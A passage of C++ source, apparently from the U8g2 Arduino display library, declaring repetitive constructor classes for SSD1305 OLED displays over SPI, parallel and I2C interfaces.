u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1305_128X32_NONAME_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1305_128X32_NONAME_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1305_128X32_NONAME_1_6800 : public U8G2 { public: U8G2_SSD1305_128X32_NONAME_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_noname_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1305_128X32_NONAME_1_8080 : public U8G2 { public: U8G2_SSD1305_128X32_NONAME_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1305_128X32_ADAFRUIT_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1305_128X32_ADAFRUIT_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1305_128X32_ADAFRUIT_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1305_128X32_ADAFRUIT_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1305_128X32_ADAFRUIT_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1305_128X32_ADAFRUIT_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1305_128X32_ADAFRUIT_1_6800 : public U8G2 { public: U8G2_SSD1305_128X32_ADAFRUIT_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_adafruit_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1305_128X32_ADAFRUIT_1_8080 : public U8G2 { public: U8G2_SSD1305_128X32_ADAFRUIT_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1305_128X32_NONAME_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1305_128X32_NONAME_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1305_128X32_NONAME_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1305_128X32_NONAME_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1305_128X32_NONAME_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1305_128X32_NONAME_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1305_128X32_NONAME_2_6800 : public U8G2 { public: U8G2_SSD1305_128X32_NONAME_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_noname_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1305_128X32_NONAME_2_8080 : public U8G2 { public: U8G2_SSD1305_128X32_NONAME_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1305_128X32_ADAFRUIT_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1305_128X32_ADAFRUIT_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1305_128X32_ADAFRUIT_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1305_128X32_ADAFRUIT_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1305_128X32_ADAFRUIT_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1305_128X32_ADAFRUIT_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1305_128X32_ADAFRUIT_2_6800 : public U8G2 { public: U8G2_SSD1305_128X32_ADAFRUIT_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_adafruit_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1305_128X32_ADAFRUIT_2_8080 : public U8G2 { public: U8G2_SSD1305_128X32_ADAFRUIT_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1305_128X32_NONAME_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1305_128X32_NONAME_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1305_128X32_NONAME_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1305_128X32_NONAME_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1305_128X32_NONAME_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1305_128X32_NONAME_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1305_128X32_NONAME_F_6800 : public U8G2 { public: U8G2_SSD1305_128X32_NONAME_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_noname_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1305_128X32_NONAME_F_8080 : public U8G2 { public: U8G2_SSD1305_128X32_NONAME_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1305_128X32_ADAFRUIT_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1305_128X32_ADAFRUIT_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1305_128X32_ADAFRUIT_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1305_128X32_ADAFRUIT_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1305_128X32_ADAFRUIT_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1305_128X32_ADAFRUIT_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1305_128X32_ADAFRUIT_F_6800 : public U8G2 { public: U8G2_SSD1305_128X32_ADAFRUIT_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_adafruit_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1305_128X32_ADAFRUIT_F_8080 : public U8G2 { public: U8G2_SSD1305_128X32_ADAFRUIT_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1305_128X32_NONAME_1_SW_I2C : public U8G2 { public: U8G2_SSD1305_128X32_NONAME_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1305_128X32_NONAME_1_HW_I2C : public U8G2 { public: U8G2_SSD1305_128X32_NONAME_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1305_128X32_NONAME_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1305_128X32_NONAME_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1305_128X32_ADAFRUIT_1_SW_I2C : public U8G2 { public: U8G2_SSD1305_128X32_ADAFRUIT_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x32_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1305_128X32_ADAFRUIT_1_HW_I2C : public U8G2 { public: U8G2_SSD1305_128X32_ADAFRUIT_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x32_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1305_128X32_ADAFRUIT_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1305_128X32_ADAFRUIT_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x32_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1305_128X32_NONAME_2_SW_I2C : public U8G2 { public: U8G2_SSD1305_128X32_NONAME_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1305_128X32_NONAME_2_HW_I2C : public U8G2 { public: U8G2_SSD1305_128X32_NONAME_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1305_128X32_NONAME_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1305_128X32_NONAME_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1305_128X32_ADAFRUIT_2_SW_I2C : public U8G2 { public: U8G2_SSD1305_128X32_ADAFRUIT_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x32_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1305_128X32_ADAFRUIT_2_HW_I2C : public U8G2 { public: U8G2_SSD1305_128X32_ADAFRUIT_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x32_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1305_128X32_ADAFRUIT_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1305_128X32_ADAFRUIT_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x32_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1305_128X32_NONAME_F_SW_I2C : public U8G2 { public: U8G2_SSD1305_128X32_NONAME_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1305_128X32_NONAME_F_HW_I2C : public U8G2 { public: U8G2_SSD1305_128X32_NONAME_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1305_128X32_NONAME_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1305_128X32_NONAME_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1305_128X32_ADAFRUIT_F_SW_I2C : public U8G2 { public: U8G2_SSD1305_128X32_ADAFRUIT_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x32_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1305_128X32_ADAFRUIT_F_HW_I2C : public U8G2 { public: U8G2_SSD1305_128X32_ADAFRUIT_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x32_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1305_128X32_ADAFRUIT_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1305_128X32_ADAFRUIT_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x32_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1305_128X64_ADAFRUIT_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1305_128X64_ADAFRUIT_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1305_128X64_ADAFRUIT_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1305_128X64_ADAFRUIT_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1305_128X64_ADAFRUIT_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1305_128X64_ADAFRUIT_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1305_128X64_ADAFRUIT_1_6800 : public U8G2 { public: U8G2_SSD1305_128X64_ADAFRUIT_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_adafruit_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1305_128X64_ADAFRUIT_1_8080 : public U8G2 { public: U8G2_SSD1305_128X64_ADAFRUIT_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1305_128X64_RAYSTAR_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1305_128X64_RAYSTAR_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_raystar_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1305_128X64_RAYSTAR_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1305_128X64_RAYSTAR_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_raystar_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1305_128X64_RAYSTAR_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1305_128X64_RAYSTAR_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_raystar_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1305_128X64_RAYSTAR_1_6800 : public U8G2 { public: 